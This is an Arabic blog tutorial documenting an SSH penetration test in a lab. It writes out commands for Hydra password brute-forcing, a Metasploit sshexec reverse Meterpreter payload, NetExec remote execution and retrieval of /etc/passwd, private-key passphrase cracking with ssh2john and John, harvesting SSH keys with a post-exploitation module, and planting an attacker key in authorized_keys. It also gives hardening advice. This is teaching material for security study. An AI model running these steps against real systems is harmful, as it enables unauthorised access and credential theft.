اختبار اختراق SSH (المنفذ 22) | arabteamhack

اختبار اختراق SSH (المنفذ 22) | arabteamhack

مقدمة :

قبل أن تبدأ في قراءة هذا المقال الدقيق، نوصيك بالانضمام إلى أكبر تجمع عربي مختص بالأمن السيبراني على منصة تيلغرام. هناك تنتظرك محتويات حصرية، وشروحات متقدمة، ومجتمع من الباحثين والمخترقين الأخلاقيين يسبقون الزمن. لا تقرأ وحيداً، بل كن جزءاً من القمة.

انضم من هنا


بروتوكول SSH (اختصار Secure Shell) هو بروتوكول شبكة يُستخدم لإنشاء اتصال آمن ومشفّر بين جهازين عبر الإنترنت أو شبكة محلية.

بدلاً من استخدام بروتوكولات غير آمنة مثل Telnet، يتم الاعتماد على SSH كخيار أكثر أمانًا، حيث يوفر طبقة حماية قوية من خلال تشفير البيانات أثناء نقلها، مما يمنع المتطفلين من التجسس أو الوصول غير المصرح به، ويضمن اتصالًا موثوقًا وآمنًا بين المستخدم والخادم.

جدول المحتويات :

  • تجهيز المختبر
  • التثبيت
  • التعداد (Enumeration)
  • اختراق كلمات المرور باستخدام برنامج Hydra
  • المصادقة باستخدام Metasploit
  • تنفيذ الأوامر على جهاز بعيد
  • إعادة توجيه منفذ SSH
  • استخدام Nmap في هجمات SSH العنيفة
  • تعداد طرق مصادقة SSH
  • المصادقة القائمة على المفاتيح
  • المصادقة القائمة على المفاتيح باستخدام Metasploit
  • استغلال الثغرات باستخدام Metasploit
  • إعادة توجيه المنافذ المحلية (باستخدام كلمة المرور)
  • إعادة توجيه المنافذ المحلية (باستخدام المفاتيح)
  • خاتمة

تجهيز المختبر

في هذه المقالة، سنقوم بإعداد بيئة اختبار لاكتشاف وفهم آلية عمل بروتوكول SSH، ومن ثم استغلاله لأغراض تعليمية باستخدام أدوات اختبار الاختراق.

اعداد بيئة المختبر :

قبل البدء في تنفيذ اختبارات الاختراق على نظام أوبونتو 22.04، من الضروري التأكد من تثبيت وتشغيل خادم OpenSSH على الجهاز المستهدف. يمكن استخدام مدير الحزم APT لتثبيت الحزم وإدارتها، حيث يوفّر طريقة سريعة وآمنة للتعامل مع البرمجيات داخل النظام. هذه الخطوة أساسية لضمان أن بيئة الاختبار جاهزة للتفاعل مع أدوات اختبار الاختراق بشكل فعال وآمن.

sudo apt install openssh-server

يقوم مدير الحزم بتثبيت عدة مكونات إضافية إلى جانب خادم OpenSSH، من بينها openssh-sftp-server لدعم نقل الملفات، وncurses-term لتعريفات الطرفية، بالإضافة إلى ssh-import-id الذي يُستخدم لاستيراد المفاتيح العامة من منصات مثل GitHub أو Launchpad.

بعد اكتمال التثبيت، يتم تشغيل الخدمة تلقائيًا، حيث تبدأ بالاستماع على المنفذ 22 عبر بروتوكول SSH باستخدام الإعدادات الافتراضية. وتسمح هذه الإعدادات بالمصادقة عبر كلمة المرور، والتي تُعد من أبرز نقاط الضعف التي يتم استغلالها في هذا المختبر.

الاستطلاع — تعداد الخدمات باستخدام Nmap

تُعد مرحلة الاستطلاع (Reconnaissance) الخطوة الأولى في أي اختبار اختراق، حيث يسعى المهاجم إلى جمع أكبر قدر ممكن من المعلومات عن الهدف. قبل محاولة استغلال أي خدمة، يجب التأكد من ماهي الخدمات العاملة، تحديد الإصدارات بدقة، وفهم آلية المصادقة المستخدمة.

فحص الإصدار على المنفذ 22

nmap -sV -p {target ip}

تم تنفيذ فحص على المنفذ 22/tcp باستخدام الخيار -sV للكشف عن إصدار الخدمة على الجهاز المستهدف
أظهرت النتائج ما يلي:

  • الحالة: المنفذ مفتوح (open)
  • الخدمة: SSH
  • الإصدار: OpenSSH 10.0p2 على أوبونتو، الإصدار الحزمي: Ubuntu 5ubuntu5.1
  • نظام التشغيل: Linux (وفق المعلومات المستخلصة من الخدمة)
  • عنوان MAC: 00:0C:29:1C:6E:E1، ما يشير إلى أن بطاقة الشبكة (NIC) تعمل ضمن بيئة VMware

ملاحظة: يوفّر الخيار -sV في Nmap القدرة على الكشف عن إصدارات الخدمات، وهو مفيد لتحديد الثغرات المحتملة أثناء اختبارات الاختراق.

هجوم التخمين باستخدام Hydra (المنفذ 22)

بما أن المصادقة تعتمد على كلمة المرور، فمن الممكن تنفيذ هجوم بالتخمين (Brute Force) على الخدمة باستخدام لستات اسماء مستخدمين وكلمات المرور عبر أداة Hydra، وذلك للعثور على اسم المستخدم وكلمة المرور الصحيحين.

بعد إنشاء لسته لأسماء المستخدمين باسم users.txt وقاموس لكلمات المرور باسم pass.txt، يمكن استخدام الأمر التالي:

hydra -L users.txt -P pass.txt {target ip} ssh -f

الاستغلال — الوصول الأولي عن بعد

تسجيل الدخول المباشر عبر SSH

بعد الحصول على اسم المستخدم victom وكلمة المرور victom، يمكن للمهاجم الآن المصادقة إلى خدمة SSH باستخدام الأمر التالي:

ssh [user]@[ip]

تنفيذ الأوامر عن بُعد عبر NetExec (علامة -x-)

يمكن لـ NetExec تنفيذ أوامر مفردة عبر اتصال SSH موثق دون فتح غلاف تفاعلي. هذا مفيد لجمع البيانات السريع وغير التفاعلي:

nxc ssh [ip] -u [user] -p [password] -x [command]

العلامة -x تمرر أمرًا إلى الغلاف (shell) على الجهاز المستهدف. يتم عرض المخرجات مباشرة. هذه التقنية فعالة لقراءة ملفات الإعدادات، أو بيانات المستخدمين، أو أي ملف قابل للقراءة عالميًا على الهدف

Meterpreter عبر Metasploit باستخدام multi/ssh/sshexec

طريقة أخرى لتنفيذ ما سبق يمكن عملها باستخدام وحدة Metasploit. يمكن استخدام الاختراق multi/ssh/sshexec لتسجيل الدخول إلى خدمة SSH. نفترض هنا أن المهاجم قد حصل على اسم المستخدم وكلمة المرور بالفعل. فيما يلي الأوامر داخل Metasploit:

msf > use exploit/multi/ssh/sshexec
msf exploit(multi/ssh/sshexec) > set rhosts [ip]
msf exploit(multi/ssh/sshexec) > set username [user]
msf exploit(multi/ssh/sshexec) > set password [password]
msf exploit(multi/ssh/sshexec) > set target 1
msf exploit(multi/ssh/sshexec) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(multi/ssh/sshexec) > exploit

تقوم الوحدة بتسجيل الدخول عبر SSH، وتقوم بإسقاط ملف ثنائي (binary) مرحلي مُجمّع، وتنفيذه، وإنشاء جلسة Meterpreter عكسية عبر TCP. وهذا يمنح المهاجم إطارًا كاملًا لما بعد الاستغلال، يشمل تصفح الملفات، وإدارة العمليات، والقدرة على التنقل عبر الشبكات الداخلية.

تنفيذ الأوامر على الجهاز البعيد

يمكن أيضًا استخدام خدمة SSH لتشغيل أوامر النظام على الجهاز الهدف. يمكن استخدام الأمر التالي:

ssh [user]@[ip] '[command]'

تغيير المنفذ لخدمة SSH

تشغيل SSH على المنفذ الافتراضي 22 يعرضه للماسحات الضوئية الآلية وشبكات البوتات. نقله إلى منفذ غير قياسي يقلل من الضوضاء الناتجة عن الهجمات الآلية، على الرغم من أنه لا يوقف مهاجمًا موجهاً يقوم بمسح شامل للمنافذ.

في السيرفر المستهدف:

cd /etc/ssh
nano sshd_config

يمكن رؤية المنفذ الافتراضي هنا على أنه 22 في السطر المعلّق.

يمكن تغيير المنفذ إلى 1177 عن طريق إزالة علامة التعليق من السطر وكتابة Port 1177.

التحقق من المنفذ الجديد وتجاوزه

بعد حفظ التغييرات في الملف، يُظهر التعداد الذي تم إجراؤه باستخدام كالي لينكس الآن خدمة SSH تعمل على رقم المنفذ الجديد 1177.

nmap -sV -p [port] [ip]

لا يزال هجوم التخم ينجح على المنفذ 1177. المنفذ غير القياسي يقلل من الضوضاء الناتجة عن الأدوات الآلية التي تمسح المنافذ الشائعة فقط، ولكن أي مهاجم يقوم بمسح شامل للمنافذ باستخدام nmap ( -p- ) سيجده فورًا. كما يجب معالجة ضعف بيانات الاعتماد الأساسي.

تعداد طرق المصادقة المدعومة

nmap --script ssh-auth-methods --script-args="ssh.user=[username]" -p [port] [ip]

تم تمكين كل من مصادقة publickey ومصادقة كلمة المرور. تؤكد مصادقة كلمة المرور قابلية التأثر بهجمات التخمين

مصادقة المفتاح (Key-Based Authentication) وتعطيل كلمات المرور

مصادقة المفتاح العام أقوى بشكل أساسي من كلمات المرور لأن المفتاح الخاص لا يمر عبر الشبكة أبدًا ولا يمكن اختراقه عن بُعد بهجمات التخمين. يؤدي تعطيل مصادقة كلمة المرور إلى القضاء تمامًا على سطح هجوم التخمين عن بُعد.

إنشاء زوج مفاتيح RSA على الهدف

يمكن إنشاء زوج المفاتيح العام والخاص باستخدام أداة ssh-keygen داخل جهاز أوبونتو. يتم أيضًا تعيين عبارة مرور (passphrase) لمفتاح id_rsa بحيث عندما يقوم المستخدم بتسجيل الدخول باستخدام المصادقة القائمة على المفتاح، سيُطلب منه أيضًا عبارة مرور. بشكل افتراضي، المسار لتخزين id_rsa و id_rsa.pub هو مجلد .ssh في الدليل الرئيسي للمستخدم، أي /home/pentest/.ssh/id_rsa.

ssh-keygen

الإصدارات الحديثة من ssh-keygen تستخدم افتراضيًا ED25519 بدلاً من RSA. زوج المفاتيح الناتج حجمه 464 بايت (للمفتاح الخاص) و 99 بايت (للمفتاح العام) مقارنة بـ 2602/568 بايت لـ RSA 3072 — أي تقليل حجم كبير مع نفس مستوى الأمان.

إعداد ملف authorized_keys

الخطوة التالية هي نسخ المفتاح العام (victomkey.pub) إلى ملف authorized_keys في نفس الدليل.

يحتوي ملف authorized_keys على الخادم البعيد على قائمة بالمفاتيح العامة المخولة للوصول إلى الخادم. عن طريق نسخ المفتاح العام (victomkey.pub) إلى هذا الملف، فإننا نخبر الخادم بأن يثق بأي اتصال يقدم المفتاح الخاص المقابل.

cd .ssh
ls -la
cat victom1.pub > authorized_keys
ls

تعطيل مصادقة كلمة المرور

بعد ذلك، يمكننا تعطيل المصادقة القائمة على كلمة المرور في ملف /etc/ssh/sshd_config. يوجد سطر معلق #PasswordAuthentication بقيمة yes.

يمكننا تغييرها إلى no وإزالة التعليق من السطر للسماح بالمصادقة القائمة على المفتاح وتعطيل المصادقة القائمة على كلمة المرور.

التحقق — لم يتبق سوى المصادقة بالمفتاح العام

nmap --script ssh-auth-methods --script-args="ssh.user=[user]" -p [ip]

تمت إزالة مصادقة كلمة المرور. هجمات Hydra ضد هذا الخادم ستفشل فورًا الآن — فالخادم يرفض أي محاولة تسجيل دخول تعتمد على كلمة المرور على مستوى البروتوكول.

تسجيل الدخول بدون كلمة مرور باستخدام المفتاح الخاص

لنفترض سيناريو حيث يمكننا بطريقة ما الحصول على المفتاح الخاص لمستخدم Ubuntu، عندها يمكننا تسجيل الدخول مباشرة باستخدام المصادقة القائمة على المفتاح. ومع ذلك، يجب علينا منح المفتاح الخاص صلاحية القراءة والكتابة للمالك فقط، ولكن يجب أن نأخذ الحيطة بعدم منح المفتاح صلاحيات زائدة. لمنح الصلاحيات المناسبة، سنستخدم الأمر التالي:

chmod 600 victom1
ssh -i victom1 pentest@192.168.1.9

مهاجمة المفاتيح الخاصة المحمية بعبارة مرور (Passphrase) في SSH

إحدى توصيات التحصين الشائعة هي حماية المفاتيح الخاصة بـ SSH بعبارة مرور قوية بحيث لا يمكن استخدام ملف المفتاح حتى في حالة سرقته دون معرفة عبارة المرور. يوضح هذا القسم كيف يمكن للمهاجم اختراق عبارة مرور ضعيفة للمفتاح في وضع عدم الاتصال باستخدام ssh2john و John the Ripper.

استخراج قيمة التجزئة (Hash) باستخدام ssh2john

لا يستطيع John the Ripper اختراق مفاتيح SSH مباشرة — يجب أولاً تحويل المفتاح إلى تنسيق تجزئة (hash) يمكن لـ John فهمه. تقوم أداة ssh2john بهذا التحويل:

ssh2john [yourfile] > sshhash

يقرأ ssh2john ملف المفتاح الخاص (victom1)، ويستخرج الكتلة المشفرة للمفتاح، ويكتبها إلى ملف (sshhash) بتنسيق التجزئة الخاص بـ John. يبدو الملف الناتج مثل مدخلات John القياسية مع معرف المفتاح كحقل اسم المستخدم.

Cracking with John the Ripper + rockyou.txt

john --wordlist=[yourlist] sshhash

يتمكن John بنجاح من استعادة عبارة المرور: victom1. تكشف حقول التكلفة أن المفتاح يستخدم Bcrypt/AES (بتكلفة KDF تبلغ 2) — الأقوى بين خيارات KDF الثلاثة المعروضة. على الرغم من قوة KDF، يتم استعادة عبارة المرور في ثانية واحدة باستخدام قائمة كلمات pass.txt.

نقل البيانات عبر SSH — SCP وعمليات الملفات باستخدام NetExec

رفع الملفات باستخدام NetExec – خيار put-file

بعد المصادقة، يوفر SSH آليات متعددة لنقل الملفات بين المهاجم والهدف. يوضح هذا القسم نهجين: SCP (بروتوكول النسخ الآمن) وقدرة NetExec المدمجة على تنزيل الملفات.

nxc ssh [ip] -u [user] -p [pass] --put-file file.txt /tmp/file.txt

تنزيل الملفات باستخدام NetExec – خيار get-file

يوفر NetExec علامة مخصصة –get-file لتنزيل الملفات البعيدة دون فتح غلاف تفاعلي:

nxc ssh [ip] -u [user] -p [password] --get-file /etc/passwd passwd

رفع الملفات باستخدام SCP

بعكس ترتيب الوسائط، يقوم بسحب الملفات من الهدف إلى المهاجم. هنا يقوم المهاجم بنقل ملف /etc/passwd — وهو ملف حاسم يحتوي على جميع أسماء مستخدمين النظام ومعرفات المستخدمين (UIDs) ومعرفات المجموعات (GIDs) والأدلة الرئيسية:

scp [user]@[ip]:/etc/passwd

ما بعد الاستغلال — جمع بيانات اعتماد SSH باستخدام Metasploit

بمجرد فتح جلسة Meterpreter، يمكن لوحدات Metasploit الخاصة بما بعد الاستغلال أتمتة جمع بيانات الاعتماد من المضيف المخترق. تستهدف وحدة post/multi/gather/ssh_creds تحديدًا مفاتيح SSH المخزنة في الأدلة الرئيسية للمستخدمين.

msf > use post/multi/gather/ssh_creds
msf post(multi/gather/ssh_creds) > set session 1
msf post(multi/gather/ssh_creds) > run

تقوم الوحدة بتعداد جميع أدلة ~/.ssh على المضيف المخترق، ثم تقوم بتنزيل ثلاثة ملفات رئيسية: المفتاح العام (protected_key.pub) وقائمة المفاتيح المخولة (authorized_keys) والمفتاح الخاص نفسه (protected_key). يتم حفظ جميع القطع الأثرية في دليل loot المحلي لـ Metasploit بأسماء ملفات مزودة بطابع زمني.

استخدام المفتاح الخاص الذي تم جمعه

mv /root/.msf4/loot/20260411083521_default_192.168.114.129_ssh.protected_ke_136353.txt key

chmod 600 key

ssh -i key victom@192.168.114.129

يتم إعادة تسمية ملف loot إلى key لتسهيل الاستخدام، ويتم تعيين الصلاحيات إلى 600 (وهو مطلوب من قبل عميل SSH)، ويتم استخدام المفتاح للمصادقة دون أي كلمة مرور. يوضح هذا كيف يمكن لجلسة Meterpreter واحدة أن تمنح وصولاً دائمًا ومستقلًا عن كلمة المرور إلى الهدف حتى بعد تعطيل مصادقة كلمة المرور لاحقًا.

إعادة توجيه المنفذ المحلي (باستخدام مصادقة كلمة المرور)

لنفترض سيناريو حيث لدينا وصول أولي ويوجد تطبيق ويب يعمل على الجهاز المستهدف داخليًا على المنفذ 8080، ولا يمكننا الوصول مباشرة إلى تطبيق الويب من خلال متصفحنا. ولكن من خلال إعادة توجيه المنفذ المحلي المدعوم من SSH، يمكننا الوصول إلى تطبيق الويب على جهاز الكالي الخاص بنا. تقوم إعادة توجيه المنفذ المحلي بتوجيه منفذ على الجهاز المحلي إلى منفذ على خادم بعيد عبر اتصال SSH.

يمكن رؤية أدناه أن التطبيق الذي يعمل داخليًا على جهاز أوبونتو لا يمكن الوصول إليه مباشرة من جهاز الكالي الخاص بنا.

علاوة على ذلك، من خلال الوصول إلى الغلاف (shell) الأولي، من الواضح أن تطبيق الويب يعمل داخليًا على المنفذ 8080.

يدعم SSH وظيفة إعادة توجيه المنفذ المحلي، وبالتالي يمكن الوصول إلى تطبيق الويب على جهاز الكالي باستخدام أمر إعادة توجيه المنفذ المحلي:

ssh -L 8080:127.0.0.1:8080 victom@192.168.114.129

شل عكسي (Reverse Shell) — الانتقال للخارج عبر Bash TCP

في بعض سيناريوهات الاختراق، قد يحتاج المهاجم إلى شل خام (raw shell) بدلاً من جلسة SSH — على سبيل المثال، لتشغيل أدوات تتفاعل مباشرة مع TTY، أو لإنشاء قناة اتصال عكسية غير SSH تتجنب المراقبة الخاصة بـ SSH. يحقق شل عكسي باستخدام Bash ذلك عن طريق جعل الهدف يبدأ اتصال TCP خام بالاتجاه العكسي إلى المهاجم.

إنشاء الحمولة (Payload)

أدوات إنشاء الشل العكسي مثل revshells.com تقدم أوامر جاهزة بصيغة سطر واحد لعشرات اللغات والترميزات. لهذا المختبر، يتم استخدام الطريقة الكلاسيكية Bash /dev/tcp:

تنفيذ الحمولة على السيرفر المستهدف

مع وجود وصول SSH تم تأسيسه بالفعل، يتم تنفيذ الحمولة على الجلسة التفاعلية للهدف:

إعداد المستمع على كالي

تم الحصول على شل عكسي على المنفذ 1234. عند تعداد الخدمات قيد التشغيل، يمكن ملاحظة أن تطبيق ويب يعمل داخليًا على المنفذ 8080.

هنا نقوم بإنشاء مفتاح SSH محليًا على جهاز كالي، وبما أن لدينا وصول أولي بالفعل، فمن الأفضل نسخ المفتاح العام لمستخدم root في كالي إلى ملف authorized_keys على نظام أوبونتو.

ssh-keygen
cd .ssh
ls -al
cat id_ed25519.pub > authorized_keys
updog -p 80

داخل الشل الأولي الذي تم الحصول عليه سابقًا، سنقوم باستبدال ملف authorized_keys داخل دليل .ssh الخاص بالمستخدم victom.

بعد ذلك، بمجرد نسخ ملف authorized_keys، يمكننا الآن استخدام المفتاح الخاص لمستخدم root داخل جهاز كالي لتنفيذ إعادة توجيه المنفذ المحلي والوصول إلى تطبيق الويب الذي يعمل على المنفذ 8080. هنا نقوم بإعادة توجيه منفذ التطبيق إلى 8888 على جهاز كالي.

ssh -i id_ed25519 -L 8888:127.0.0.1:8080 victom@192.168.114.129

الخلاصة 

هذا الدليل الموسع وثق دورة الحياة الكاملة لاختبار اختراق SSH متطور — بدءًا من اكتشاف الخدمة الأولي مروراً بـ 25 خطوة متميزة للهجوم والدفاع. أظهر المختبر أن كلمة مرور ضعيفة واحدة (victom) هي السبب الجذري لكل هجوم تلا ذلك: التخمين لبيانات الاعتماد، جلسات Meterpreter، نقل البيانات، جمع بيانات الاعتماد، والوصول الدائم عبر المفاتيح المسروقة — كلها تعود إلى ذلك الفشل الواحد.

الموضوعات المتقدمة — اختراق عبارة مرور المفتاح باستخدام ssh2john/John، إعادة توجيه منافذ SSH للوصول إلى الخدمات المرتبطة بـ localhost، والشل العكسي عبر Bash /dev/tcp — توضح أن SSH ليس مجرد بروتوكول تسجيل دخول. إنه منصة كاملة للنفق والانتقال تمنح المهاجمين قدرات تتجاوز بكثير مجرد شل بسيط إذا تم اختراق بيانات الاعتماد أو المفاتيح.

النتائج الرئيسية المستفادة من المختبر الموسع:

1. كلمات المرور الضعيفة هي السبب الجذري
كل هجوم في هذا المختبر تم تمكينه بواسطة victom:victom. كلمات المرور القوية أو المصادقة القائمة على المفتاح تقضي على ناقل هجوم التخمين.

2. يجب التعامل مع المفاتيح الخاصة مثل كلمات المرور
المفتاح الخاص victom1 (464 بايت) عند سرقته يوفر وصولاً دائماً حتى بعد تعطيل كلمة المرور.

3. عبارات مرور المفاتيح يجب أن تكون قوية
تم اختراق عبارة المرور victom1 للمفتاح protected_key في ثانية واحدة باستخدام قاموس pass.txt.

4. SCP وإعادة توجيه المنفذ يوسعان نطاق الانفجار
تم استخدام scp -i victom1 لنقل المفاتيح و ssh -L 7777:127.0.0.1:8080 للوصول إلى تطبيق الويب.

5. وحدات Metasploit لما بعد الاستغلال تقوم بأتمتة سرقة بيانات الاعتماد
قامت وحدة post/multi/gather/ssh_creds بتنزيل protected_key و protected_key.pub و authorized_keys من /home/victom/.ssh/.

6. قم بتعطيل AllowTcpForwarding إذا لم تكن إعادة توجيه المنفذ مطلوبة

7. الدفاع المتعمق هو الفائز


مصطفى حسين تواصل هنا

Share this content:

إرسال التعليق

You May Have Missed